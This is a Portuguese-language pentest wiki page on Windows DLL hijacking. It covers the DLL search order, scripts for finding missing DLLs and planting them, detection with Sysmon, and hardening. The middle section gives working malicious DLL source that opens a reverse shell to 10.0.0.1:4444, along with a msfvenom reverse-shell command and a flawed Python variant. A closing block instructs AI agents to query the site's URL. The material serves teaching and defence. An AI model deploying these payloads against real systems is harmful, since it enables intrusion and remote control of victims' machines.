# DLL Hijacking

## 📑 **Índice**

1. [Fundamentos do DLL Hijacking](#-fundamentos-do-dll-hijacking)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Exploração](#-técnicas-de-exploração)
4. [Criação de DLLs Maliciosas](#-criação-de-dlls-maliciosas)
5. [Ferramentas e Automação](#-ferramentas-e-automação)
6. [Detecção e Monitoramento](#-detecção-e-monitoramento)
7. [Mitigação e Hardening](#-mitigação-e-hardening)
8. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do DLL Hijacking**

### **O que é DLL Hijacking?**

DLL Hijacking (ou DLL Spoofing) é uma técnica de ataque que explora a forma como o Windows carrega bibliotecas de vínculo dinâmico (DLLs). O atacante coloca uma DLL maliciosa em um local onde o sistema procura antes do local legítimo, fazendo com que a aplicação vulnerável carregue e execute código arbitrário.

### **Ordem de Busca de DLLs no Windows**

```yaml
Ordem de busca padrão (Safe DLL Search Mode desabilitado):
  1. Diretório do executável
  2. Diretório atual (CWD - Current Working Directory)
  3. Diretório do sistema (C:\Windows\System32)
  4. Diretório Windows (C:\Windows)
  5. Diretórios listados na variável PATH

Ordem com Safe DLL Search Mode habilitado (Windows 7+ padrão):
  1. Diretório do executável
  2. Diretório do sistema (C:\Windows\System32)
  3. Diretório Windows (C:\Windows)
  4. Diretório atual (CWD)
  5. Diretórios listados na variável PATH
```

### **Tipos de DLL Hijacking**

```mermaid
graph TD
    A[DLL Hijacking] --> B[Missing DLL]
    A --> C[Path Hijacking]
    A --> D[Phantom DLL]
    A --> E[Search Order Hijacking]
    
    B --> B1[DLL não existe no sistema]
    B --> B2[Atacante fornece DLL]
    
    C --> C1[DLL existe, mas em PATH incorreto]
    C --> C2[Atacante coloca DLL antes]
    
    D --> D1[DLL carregada via chamada explícita]
    D --> D2[Atacante fornece implementação]
    
    E --> E1[Explora ordem de busca]
    E --> E2[Atacante coloca DLL em diretório prioritário]
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Como o Windows Carrega DLLs**

```mermaid
sequenceDiagram
    participant A as Aplicação
    participant L as Loader do Windows
    participant F as Sistema de Arquivos

    A->>L: LoadLibrary("malicious.dll")
    L->>L: Verifica se já carregada
    L->>F: Procura em diretório do executável
    F-->>L: Não encontrada
    L->>F: Procura em System32
    F-->>L: Não encontrada
    L->>F: Procura em diretório atual
    F-->>L: DLL maliciosa encontrada!
    L->>A: Carrega DLL maliciosa
```

### **Mecanismos de Carregamento de DLL**

| Mecanismo             | Descrição                     | Vulnerabilidade    |
| --------------------- | ----------------------------- | ------------------ |
| **LoadLibrary**       | Carrega DLL específica        | Path hijacking     |
| **LoadLibraryEx**     | Versão com flags adicionais   | Depende de flags   |
| **Implicit Linking**  | DLLs listadas no import table | Phantom DLL        |
| **Delay-Load**        | Carregamento sob demanda      | Similar a implicit |
| **SetDllDirectory**   | Modifica ordem de busca       | Reduz risco        |
| **SafeDllSearchMode** | Prioriza System32             | Protege contra CWD |

### **Ferramentas de Análise**

```powershell
# Listar DLLs carregadas por um processo
Get-Process -Name explorer | Select-Object -ExpandProperty Modules

# Usando Process Explorer da Sysinternals
procexp.exe

# Usando Dependency Walker (depends.exe)
depends.exe C:\Windows\System32\notepad.exe

# Usando API Monitor
apimonitor.exe
```

***

## ⚔️ **Técnicas de Exploração**

### **1. Missing DLL (Phantom DLL)**

```python
#!/usr/bin/env python3
# phantom_dll_finder.py - Encontrar DLLs ausentes

import os
import subprocess
import pefile

class PhantomDLLFinder:
    """Encontra DLLs ausentes em executáveis"""
    
    def __init__(self, target_exe):
        self.target_exe = target_exe
        self.missing_dlls = []
    
    def analyze_imports(self):
        """Analisar imports do executável"""
        try:
            pe = pefile.PE(self.target_exe)
            
            for entry in pe.DIRECTORY_ENTRY_IMPORT:
                dll_name = entry.dll.decode()
                dll_path = self.find_dll(dll_name)
                
                if not dll_path:
                    self.missing_dlls.append({
                        'dll': dll_name,
                        'functions': [imp.name.decode() for imp in entry.imports if imp.name]
                    })
            
        except Exception as e:
            print(f"Erro: {e}")
    
    def find_dll(self, dll_name):
        """Procurar DLL no sistema"""
        search_paths = [
            r"C:\Windows\System32",
            r"C:\Windows\SysWOW64",
            r"C:\Windows",
            os.path.dirname(self.target_exe)
        ]
        
        for path in search_paths:
            full_path = os.path.join(path, dll_name)
            if os.path.exists(full_path):
                return full_path
        
        return None
    
    def get_missing_dlls(self):
        """Retornar DLLs ausentes"""
        return self.missing_dlls

# Exemplo de uso
finder = PhantomDLLFinder(r"C:\Program Files\LegacyApp\app.exe")
finder.analyze_imports()

for dll in finder.get_missing_dlls():
    print(f"[!] DLL ausente: {dll['dll']}")
    print(f"    Funções: {dll['functions'][:5]}")
```

### **2. Path Hijacking**

```python
#!/usr/bin/env python3
# path_hijacking_exploit.py

import os
import shutil
import sys

class PathHijacking:
    """Exploração via ordenação de PATH"""
    
    def __init__(self, target_exe, malicious_dll):
        self.target_exe = target_exe
        self.malicious_dll = malicious_dll
        self.target_dir = os.path.dirname(target_exe)
    
    def check_priority(self):
        """Verificar se target_dir tem prioridade"""
        # Executável sempre busca no seu diretório primeiro
        print(f"[*] Diretório do executável: {self.target_dir}")
        print(f"[*] DLL maliciosa será colocada em: {self.target_dir}")
    
    def deploy_dll(self):
        """Implantar DLL maliciosa"""
        target_path = os.path.join(self.target_dir, os.path.basename(self.malicious_dll))
        
        if os.path.exists(target_path):
            print(f"[!] DLL já existe: {target_path}")
            return False
        
        shutil.copy2(self.malicious_dll, target_path)
        print(f"[+] DLL implantada: {target_path}")
        return True
    
    def cleanup(self):
        """Limpar DLL implantada"""
        target_path = os.path.join(self.target_dir, os.path.basename(self.malicious_dll))
        if os.path.exists(target_path):
            os.remove(target_path)
            print(f"[*] Limpeza concluída")

# Exemplo
exploit = PathHijacking(
    r"C:\Program Files\VulnerableApp\app.exe",
    r"C:\temp\malicious.dll"
)
exploit.check_priority()
exploit.deploy_dll()
```

### **3. DLL Side-Loading**

```python
#!/usr/bin/env python3
# dll_side_loading.py

import os
import sys

class DLLSideLoading:
    """
    DLL Side-Loading - Colocar DLL maliciosa ao lado de executável
    Técnica usada por malwares como Stuxnet, DarkSide, etc.
    """
    
    def __init__(self, target_exe, legitimate_dll):
        self.target_exe = target_exe
        self.legitimate_dll = legitimate_dll
        self.target_dir = os.path.dirname(target_exe)
    
    def verify_loading_order(self):
        """Verificar se o executável carrega a DLL do seu diretório"""
        # Usar Process Monitor para verificar
        print("[*] Verificando ordem de carregamento:")
        print(f"   1. {self.target_dir}")
        print(f"   2. C:\\Windows\\System32")
        print(f"   3. Diretório atual")
    
    def create_side_load(self):
        """Criar side-load DLL maliciosa"""
        dll_name = os.path.basename(self.legitimate_dll)
        malicious_path = os.path.join(self.target_dir, dll_name)
        
        print(f"[!] DLL maliciosa será colocada em: {malicious_path}")
        print(f"[!] Quando o executável for iniciado, carregará sua DLL")
        
        return malicious_path
    
    def check_dll_loaded(self):
        """Verificar se DLL foi carregada (após execução)"""
        import psutil
        
        for proc in psutil.process_iter(['name', 'pid']):
            if proc.info['name'] == os.path.basename(self.target_exe):
                try:
                    modules = proc.memory_maps()
                    dll_name = os.path.basename(self.legitimate_dll)
                    
                    for module in modules:
                        if dll_name.lower() in module.path.lower():
                            print(f"[+] DLL carregada no processo {proc.info['pid']}")
                            return True
                except:
                    pass
        
        return False

# Exemplo
side_loader = DLLSideLoading(
    r"C:\Program Files\VulnerableApp\app.exe",
    r"C:\Windows\System32\vuln.dll"
)
side_loader.verify_loading_order()
side_loader.create_side_load()
```

***

## 🔧 **Criação de DLLs Maliciosas**

### **1. DLL Básica em C**

```c
// malicious_dll.c - DLL que abre uma shell reversa
#include <windows.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")

// Função que executa quando DLL é carregada
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            // Executar shell reversa
            ReverseShell();
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

void ReverseShell() {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    WSADATA wsaData;
    SOCKET sock;
    struct sockaddr_in server;
    
    // Inicializar Winsock
    WSAStartup(MAKEWORD(2,2), &wsaData);
    
    // Criar socket
    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    
    // Configurar servidor
    server.sin_family = AF_INET;
    server.sin_port = htons(4444);
    server.sin_addr.s_addr = inet_addr("10.0.0.1");
    
    // Conectar
    connect(sock, (SOCKADDR*)&server, sizeof(server));
    
    // Redirecionar stdin, stdout, stderr
    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
    
    // Iniciar shell
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    
    // Limpar
    WaitForSingleObject(pi.hProcess, INFINITE);
    closesocket(sock);
    WSACleanup();
}
```

### **2. Compilação da DLL**

```bash
# Usando MinGW
x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious_dll.c -lws2_32

# Usando Visual Studio (Developer Command Prompt)
cl /LD malicious_dll.c /link ws2_32.lib

# Usando Metasploit
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll -o malicious.dll
```

### **3. DLL em Python (via ctypes)**

```python
# malicious_dll.py - Exportar como DLL usando ctypes
import ctypes
import subprocess
import socket

def DllMain(hinstDLL, fdwReason, lpvReserved):
    if fdwReason == 1:  # DLL_PROCESS_ATTACH
        reverse_shell()
    return True

def reverse_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.0.0.1", 4444))
    
    # Redirecionar stdin, stdout, stderr
    for i in range(3):
        s.dup2(i)
    
    # Executar shell
    subprocess.call(["/bin/sh" if os.name == "posix" else "cmd.exe"])

# Exportar função DllMain
ctypes.CDLL(None).DllMain = DllMain
```

### **4. DLL com Proxy (Forwarding)**

```c
// malicious_proxy_dll.c - DLL proxy que redireciona chamadas
#include <windows.h>

// Função exportada que redireciona para DLL original
#pragma comment(linker, "/EXPORT:OriginalFunction=malicious_proxy_dll.OriginalFunction")

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            // Carregar DLL original
            LoadLibraryA("C:\\Windows\\System32\\original.dll");
            
            // Executar código malicioso
            MessageBoxA(NULL, "DLL Hijacked!", "Warning", MB_OK);
            break;
    }
    return TRUE;
}

// Proxy para função original
_declspec(dllexport) void OriginalFunction() {
    // Obter endereço da função original
    HMODULE hOriginal = GetModuleHandleA("original.dll");
    void (*pOriginal)() = (void(*)())GetProcAddress(hOriginal, "OriginalFunction");
    
    // Chamar função original
    if (pOriginal) pOriginal();
}
```

***

## 🛠️ **Ferramentas e Automação**

### **1. Process Monitor (ProcMon)**

```powershell
# Download
https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

# Filtros úteis
# - Process Name is app.exe
# - Path contains .dll
# - Result is NAME NOT FOUND

# Usar linha de comando
procmon.exe /AcceptEula /BackingFile c:\temp\procmon.pml /Quiet
```

### **2. API Monitor**

```powershell
# Monitorar chamadas de LoadLibrary
apimonitor.exe -pid 1234 -api LoadLibrary
```

### **3. DLL Hijack Scanner**

```python
#!/usr/bin/env python3
# dll_hijack_scanner.py

import os
import sys
import pefile
import subprocess
import json

class DLLHijackScanner:
    """Scanner de vulnerabilidades DLL Hijacking"""
    
    def __init__(self, target_dir):
        self.target_dir = target_dir
        self.vulnerabilities = []
    
    def scan_executables(self):
        """Escaneia executáveis no diretório"""
        for root, dirs, files in os.walk(self.target_dir):
            for file in files:
                if file.lower().endswith(('.exe', '.dll')):
                    self.analyze_file(os.path.join(root, file))
    
    def analyze_file(self, filepath):
        """Analisar arquivo PE"""
        try:
            pe = pefile.PE(filepath)
            
            # Verificar imports
            for entry in pe.DIRECTORY_ENTRY_IMPORT:
                dll_name = entry.dll.decode()
                
                # Verificar se é DLL do sistema (pode ser vulnerável)
                if self.is_system_dll(dll_name):
                    self.check_dll_vulnerability(filepath, dll_name)
                    
        except Exception as e:
            pass
    
    def is_system_dll(self, dll_name):
        """Verificar se é DLL do sistema"""
        system_dlls = [
            'kernel32.dll', 'user32.dll', 'advapi32.dll',
            'gdi32.dll', 'shell32.dll', 'ole32.dll',
            'comctl32.dll', 'comdlg32.dll', 'ws2_32.dll'
        ]
        return dll_name.lower() in system_dlls
    
    def check_dll_vulnerability(self, exe_path, dll_name):
        """Verificar se DLL pode ser hijacked"""
        exe_dir = os.path.dirname(exe_path)
        dll_path = os.path.join(exe_dir, dll_name)
        
        # Se DLL não existe no diretório do executável, é vulnerável
        if not os.path.exists(dll_path):
            self.vulnerabilities.append({
                'executable': exe_path,
                'dll': dll_name,
                'type': 'Missing DLL'
            })
    
    def get_vulnerabilities(self):
        """Retornar vulnerabilidades encontradas"""
        return self.vulnerabilities

# Uso
scanner = DLLHijackScanner(r"C:\Program Files\VulnerableApp")
scanner.scan_executables()

for vuln in scanner.get_vulnerabilities():
    print(f"[!] Vulnerável: {vuln['executable']}")
    print(f"    DLL: {vuln['dll']}")
```

### **4. PowerSploit - Invoke-DLLHijack**

```powershell
# PowerSploit module
Import-Module .\PowerSploit.psm1

# Verificar DLLs ausentes
Get-Process | Get-ProcessDll | Where-Object {$_.LoadTime -eq $null}

# Invocar DLL hijack
Invoke-DLLHijack -DllPath C:\temp\malicious.dll -ProcessName vulnerable.exe
```

### **5. Metasploit Modules**

```bash
# Módulo de DLL hijacking
msf6 > use exploit/windows/local/dll_hijacking
msf6 > set SESSION 1
msf6 > set DLL_PATH C:\temp\malicious.dll
msf6 > run
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de DLL Hijacking:
  - DLLs carregadas de locais inesperados (AppData, Temp, Downloads)
  - DLLs assinadas por certificados desconhecidos
  - Processos carregando DLLs que não estão em System32
  - DLLs recém-criadas em diretórios de aplicações
  - Conexões de rede de processos legítimos
```

### **Logs a Monitorar**

```powershell
# Eventos de carregamento de DLL
# Event ID 4656: Handle to an object was requested
wevtutil qe Security /f:text /rd:true /c:10 /e:"EventID=4656"

# Eventos de criação de arquivos (Sysmon)
# Event ID 11: FileCreate
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; ID=11} | 
    Where-Object {$_.Message -like "*.dll"} | 
    Select-Object -First 10

# Monitorar via PowerShell
Get-WinEvent -FilterHashtable @{LogName='Application'; ProviderName='Microsoft-Windows-Security-Auditing'} |
    Where-Object {$_.Message -like "*dll*"}
```

### **Sysmon Configuração**

```xml
<!-- sysmon_config.xml -->
<Sysmon schemaversion="4.22">
    <EventFiltering>
        <!-- Monitorar carregamento de DLLs -->
        <ProcessAccess onmatch="include">
            <TargetImage condition="end with">.exe</TargetImage>
        </ProcessAccess>
        
        <!-- Monitorar criação de DLLs -->
        <FileCreateTime onmatch="include">
            <TargetFilename condition="end with">.dll</TargetFilename>
        </FileCreateTime>
        
        <!-- Monitorar imagem carregada -->
        <ImageLoad onmatch="include">
            <ImageLoaded condition="contains">C:\Users</ImageLoaded>
            <ImageLoaded condition="contains">C:\ProgramData</ImageLoaded>
            <ImageLoaded condition="contains">C:\Temp</ImageLoaded>
        </ImageLoad>
    </EventFiltering>
</Sysmon>
```

### **Ferramentas de Detecção**

```powershell
# Sysmon - Monitoramento de eventos
sysmon.exe -accepteula -i sysmon_config.xml

# Autoruns - Verificar DLLs carregadas na inicialização
autoruns.exe

# Process Explorer - Verificar DLLs carregadas
procexp.exe

# ListDLLs - Listar DLLs por processo
listdlls.exe

# PowerShell para detecção
Get-Process | ForEach-Object {
    $process = $_
    try {
        $modules = $_.Modules
        foreach ($module in $modules) {
            if ($module.FileName -like "*\Users\*" -or 
                $module.FileName -like "*\Temp\*" -or
                $module.FileName -like "*\AppData\*") {
                Write-Host "[!] Suspicious DLL loaded: $($process.Name) - $($module.FileName)"
            }
        }
    } catch {}
}
```

***

## 🛡️ **Mitigação e Hardening**

### **1. Configurações de Segurança**

```powershell
# Habilitar Safe DLL Search Mode
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" `
    -Name "SafeDllSearchMode" -Value 1 -Type DWord

# Desabilitar carregamento de DLLs de diretórios remotos
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" `
    -Name "ProtectionMode" -Value 1 -Type DWord

# Habilitar ASLR (Address Space Layout Randomization)
Set-ProcessMitigation -System -Enable ASLR

# Habilitar CFG (Control Flow Guard)
Set-ProcessMitigation -System -Enable CFG
```

### **2. Políticas de Grupo**

```powershell
# Configurar caminhos de busca de DLLs
# Computer Configuration > Administrative Templates > System > Windows File Protection

# Restringir carregamento de DLLs de locais não confiáveis
# Computer Configuration > Administrative Templates > System > Driver Installation
```

### **3. AppLocker e WDAC**

```xml
<!-- AppLocker Rule - Permitir apenas DLLs assinadas -->
<RuleCollection Type="Dll" EnforcementMode="Enabled">
    <FilePublisherRule Id="1" Name="Microsoft Signed DLLs" 
        Description="Allow Microsoft signed DLLs" 
        UserOrGroupSid="S-1-1-0" Action="Allow">
        <Conditions>
            <FilePublisherCondition PublisherName="Microsoft" 
                ProductName="*" BinaryName="*">
                <BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
            </FilePublisherCondition>
        </Conditions>
    </FilePublisherRule>
</RuleCollection>
```

### **4. Hardening de Aplicações**

```c
// Código seguro - definir diretório de busca
SetDllDirectory(L"C:\\Windows\\System32");
SetSearchPathMode(BASE_SEARCH_PATH_ENABLE_SAFE_SEARCHMODE);

// Código seguro - carregar DLL com caminho absoluto
LoadLibrary(L"C:\\Windows\\System32\\legit.dll");

// Código seguro - verificar assinatura
BOOL VerifyDLLSignature(LPCWSTR dllPath) {
    WINTRUST_FILE_INFO fileInfo;
    WINTRUST_DATA wintrustData;
    GUID policyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
    
    fileInfo.cbStruct = sizeof(WINTRUST_FILE_INFO);
    fileInfo.pcwszFilePath = dllPath;
    fileInfo.hFile = NULL;
    fileInfo.pgKnownSubject = NULL;
    
    wintrustData.cbStruct = sizeof(WINTRUST_DATA);
    wintrustData.pPolicyCallbackData = NULL;
    wintrustData.pSIPClientData = NULL;
    wintrustData.dwUIChoice = WTD_UI_NONE;
    wintrustData.fdwRevocationChecks = WTD_REVOKE_NONE;
    wintrustData.dwUnionChoice = WTD_CHOICE_FILE;
    wintrustData.pFile = &fileInfo;
    wintrustData.dwStateAction = WTD_STATEACTION_VERIFY;
    wintrustData.hWVTStateData = NULL;
    wintrustData.pwszURLReference = NULL;
    wintrustData.dwProvFlags = 0;
    
    LONG status = WinVerifyTrust(NULL, &policyGUID, &wintrustData);
    
    return status == ERROR_SUCCESS;
}
```

### **5. Monitoramento Contínuo**

```powershell
# Criar regra de monitoramento com Sysmon
$sysmonConfig = @"
<Sysmon>
    <EventFiltering>
        <ImageLoad onmatch="include">
            <ImageLoaded condition="contains">\Users\</ImageLoaded>
            <ImageLoaded condition="contains">\Temp\</ImageLoaded>
            <ImageLoaded condition="contains">\AppData\</ImageLoaded>
            <ImageLoaded condition="contains">\ProgramData\</ImageLoaded>
        </ImageLoad>
    </EventFiltering>
</Sysmon>
"@

$sysmonConfig | Out-File -FilePath "C:\tools\sysmon_dll.xml"
sysmon.exe -c C:\tools\sysmon_dll.xml
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Configuração do Sistema**
  * [ ] Habilitar SafeDllSearchMode (registo)
  * [ ] Definir SetDllDirectory para diretórios seguros
  * [ ] Usar caminhos absolutos para LoadLibrary
* [ ] **Desenvolvimento Seguro**
  * [ ] Evitar carregamento implícito de DLLs
  * [ ] Usar SetSearchPathMode
  * [ ] Validar assinaturas de DLLs
  * [ ] Usar /DELAYLOAD para DLLs críticas
* [ ] **Hardening**
  * [ ] Implementar AppLocker/WDAC
  * [ ] Configurar ASLR e DEP
  * [ ] Remover privilégios desnecessários
* [ ] **Monitoramento**
  * [ ] Habilitar Sysmon com regras de DLL
  * [ ] Configurar alertas para DLLs em locais suspeitos
  * [ ] Auditar permissões de diretórios

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Identificar aplicações vulneráveis
  * [ ] Listar DLLs carregadas por processos
  * [ ] Verificar permissões de diretórios
* [ ] **Exploração**
  * [ ] Testar missing DLLs
  * [ ] Testar path hijacking
  * [ ] Testar DLL side-loading
* [ ] **Validação**
  * [ ] Verificar carregamento da DLL maliciosa
  * [ ] Confirmar execução de código
  * [ ] Documentar vetores encontrados

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
DLL Hijacking é uma técnica poderosa:
  ✅ Permite execução de código arbitrário
  ✅ Explora mecanismos legítimos do Windows
  ✅ Pode ser usado para persistência
  ✅ Contorna muitas soluções de segurança

Defesas essenciais:
  ❌ Nunca confiar na ordem de busca padrão
  ✓ Usar caminhos absolutos para LoadLibrary
  ✓ Habilitar SafeDllSearchMode
  ✓ Implementar AppLocker/WDAC
  ✓ Monitorar carregamento de DLLs
```

### **Recomendações Finais**

1. **Para Desenvolvedores**
   * Sempre usar caminhos absolutos para DLLs críticas
   * Definir diretório de busca seguro
   * Validar assinaturas de DLLs
   * Usar /DELAYLOAD para DLLs opcionais
2. **Para Administradores**
   * Habilitar SafeDllSearchMode
   * Implementar AppLocker
   * Configurar Sysmon para monitoramento
   * Auditar permissões de diretórios
3. **Para Pentesters**
   * Identificar aplicações que carregam DLLs sem caminho absoluto
   * Verificar permissões de escrita em diretórios de aplicações
   * Testar missing DLLs e path hijacking
   * Documentar vetores de escalonamento

**🔐 Lembre-se**: DLL Hijacking é uma técnica que explora configurações padrão do Windows e práticas de desenvolvimento inseguras. A defesa eficaz requer hardening do sistema e boas práticas de desenvolvimento.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/dll-hijacking.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
